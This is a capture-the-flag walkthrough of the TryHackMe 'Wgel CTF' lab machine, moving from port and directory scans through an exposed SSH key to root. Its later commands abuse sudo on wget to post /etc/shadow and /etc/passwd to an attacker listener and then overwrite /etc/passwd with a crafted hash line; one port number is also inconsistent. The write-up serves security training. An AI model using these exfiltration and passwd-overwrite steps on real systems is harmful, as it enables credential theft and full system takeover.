# Wgel CTF

**Room Link:** [https://tryhackme.com/room/wgelctf](https://tryhackme.com/room/wgelctf)

## Scanning

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F8O6fjqWfmYsT8vwRNWwh%2Fimage.png?alt=media&#x26;token=d98ed68a-49e9-4ca3-b4c0-aecdafbb2dbd" alt=""><figcaption></figcaption></figure>

### Scan all ports

No other ports found.

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

### TCP/80 - HTTP

On the main page of the site it was just a apache default page but in the source we can see someone named jessie making a comment.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F6iggaCi2yTgyclNusmcs%2Fimage.png?alt=media&#x26;token=557aa2cc-14b9-4ece-9551-c9ce5f60e67a" alt=""><figcaption></figcaption></figure>

Ran gobuster and found a site under sitemap, nothing really interesting about it when browsing.

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fh893kaTwzezh2Q3N6HBg%2Fimage.png?alt=media&#x26;token=b835ce5c-778b-4213-bb94-084a4d8f531a" alt=""><figcaption></figcaption></figure>

gobuster wasn't really able to find anything interesting.

**Kali**

```
gobuster dir -u http://$VICTIM/sitemap/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQ2YEN9oanCa9au04Lj02%2Fimage.png?alt=media&#x26;token=a66d5781-7199-457b-bfa2-710505baf1cc" alt=""><figcaption></figcaption></figure>

Ran dirb with defaults and it found a .ssh folder which has a id\_rsa so I downloaded and used it.

**Kali**

```
dirb http://$VICTIM/sitemap/
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FosuP2gFTarcCZZnyV2al%2Fimage.png?alt=media&#x26;token=afcde89a-ff5f-4384-8069-ba9b91b8d759" alt=""><figcaption></figcaption></figure>



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FX48Omh069i8uGpsr0IVd%2Fimage.png?alt=media&#x26;token=ee8013fc-d44b-440d-be92-3f2137547eb3" alt=""><figcaption></figcaption></figure>

**Kali**

```
chmod 600 id_rsa
ssh -v -i id_rsa  jessie@$VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FXla8j36hrC6XZhUMAG8a%2Fimage.png?alt=media&#x26;token=7e909b5d-5a60-4dd3-8493-8d72d295196c" alt=""><figcaption></figcaption></figure>

**Victim**

```
sudo -l
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F9gzI1ZrueQJcglOexifd%2Fimage.png?alt=media&#x26;token=063a44c5-e15e-472d-80e4-732b2f6742da" alt=""><figcaption></figcaption></figure>

I tried cracking jessies hash as I would then be able to run any command with sudo but I couldn't crack it, documenting it anyways.

**Victim**

```
sudo -u root /usr/bin/wget --post-file=/etc/shadow $KALI:4444
sudo -u root /usr/bin/wget --post-file=/etc/passwd $KALI:4444
```

**Victim**

```
nc -lvnp 4444
```

**Victim**

```
unshadow passwd.txt shadow.txt > unshadowed.txt
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
```



Instead I  changed the passwd file, I first downloaded to kali and changed the line for jessie so their password is now '123'. Then I uploaded it back and just became root.

**Victim**&#x20;

```
sudo -u root /usr/bin/wget --post-file=/etc/passwd 10.10.65.21:4444
```

**Kali**&#x20;

```
nc -lvnp 4444
```

**Line to change**

```
jessie:$1$new$p7ptkEKU1HnaHpRtzNizS1:1000:1000:jessie,,,:/home/jessie:/bin/bash
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fx67uGbvcZkBlTlC1djME%2Fimage.png?alt=media&#x26;token=d59443d9-913b-43ac-baee-e87bd89a5323" alt=""><figcaption></figcaption></figure>

**Kali**

```
python2 -m SimpleHTTPServer 81
```

**Victim**

```
sudo wget http://$KALI:8/passwd -O /etc/passwd
sudo -i
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FqOF9FDjmm3UkYuHD4PpN%2Fimage.png?alt=media&#x26;token=b54c0269-9d53-4f9a-afae-17f2dfc0b920" alt=""><figcaption></figcaption></figure>

